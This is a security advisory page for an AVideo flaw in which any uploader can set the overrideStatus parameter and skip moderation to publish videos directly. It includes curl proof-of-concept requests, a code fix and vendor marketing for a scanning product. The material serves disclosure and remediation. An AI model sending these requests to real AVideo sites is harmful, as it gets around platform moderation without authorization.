GHSA-m577-w9j8-ch7j
MEDIUMAVideo: Video Publishing Workflow Bypass via Unauthorized overrideStatus Request Parameter
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
wwbn/avideoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
AVideo's video processing pipeline accepts an overrideStatus request parameter that allows any uploader to set a video's status to any valid state, including "active" (a). This bypasses the admin-controlled moderation and draft workflows. The setStatus() method validates the status code against a list of known values but does not verify that the caller has permission to set that particular status. As a result, any user with upload permissions can publish videos directly, circumventing content review processes.
Details
At objects/video.php:1055-1056, the video object checks for an overrideStatus parameter in the request and applies it directly:
if (!empty($_REQUEST['overrideStatus'])) {
return $this->setStatus($_REQUEST['overrideStatus']);
}
This code is reached from two entry points:
objects/videoAddNew.json.php:157- when adding a new videoobjects/aVideoEncoder.json.php:114- when processing an encoded video
The setStatus() method validates that the provided status code is one of the recognized values (a, k, i, h, e, x, d, t, u, s, r, f, b, p, c) but does not perform any authorization check. It does not verify whether the calling user has permission to set a video to the requested status.
The relevant status codes include:
a- Active (published and publicly visible)k- Draft (pending review)i- Inactivee- Encodingx- Deletedu- Unlisted
When an admin configures the platform to require moderation (new videos default to draft/pending status), any uploader can bypass this by including overrideStatus=a in their upload request.
Proof of Concept
-
Assume the AVideo instance has moderation enabled (new videos default to draft status
k). -
Upload a video as a regular user, including the
overrideStatusparameter:
curl -b "PHPSESSID=USER_SESSION" \
-X POST "https://your-avideo-instance.com/objects/videoAddNew.json.php" \
-F "title=Bypassed Moderation" \
-F "description=This video skips the review queue" \
-F "videoLink=https://example.com/video.mp4" \
-F "overrideStatus=a"
-
The video is immediately set to active status and is publicly visible, bypassing the admin moderation workflow.
-
Verify the video is publicly accessible:
curl -s "https://your-avideo-instance.com/video/VIDEO_CLEAN_TITLE" | grep -o "<title>.*</title>"
- An uploader can also use this to set other statuses:
# Set a video to "unlisted" even if the platform restricts this
curl -b "PHPSESSID=USER_SESSION" \
-X POST "https://your-avideo-instance.com/objects/videoAddNew.json.php" \
-F "title=Unlisted Video" \
-F "videoLink=https://example.com/video.mp4" \
-F "overrideStatus=u"
Impact
Any user with upload permissions can bypass content moderation by setting videos directly to active status. This undermines the platform's ability to enforce content policies, review uploads before publication, or maintain a moderation queue. On platforms that rely on moderation for legal compliance (e.g., DMCA, age-gated content), this bypass could have regulatory consequences. The same mechanism also allows uploaders to set arbitrary statuses like "unlisted" or "inactive" on their own videos, bypassing platform-level restrictions on these features.
- CWE-285: Improper Authorization
- Severity: Medium
Recommended Fix
Add an authorization check before applying the overrideStatus parameter at objects/video.php:1055:
// objects/video.php:1055
if (!empty($_REQUEST['overrideStatus']) && (User::isAdmin() || Permissions::canAdminVideos())) {
return $this->setStatus($_REQUEST['overrideStatus']);
}
This ensures that only administrators or users with video management permissions can override the video publishing status. Regular uploaders will follow the normal moderation workflow.
Found by aisafe.io
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | wwbn/avideo | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Remediation status
No patched version of wwbn/avideo has shipped for GHSA-m577-w9j8-ch7j yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-m577-w9j8-ch7j is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-m577-w9j8-ch7j. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-m577-w9j8-ch7j in your dependencies?
O3 detects GHSA-m577-w9j8-ch7j across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.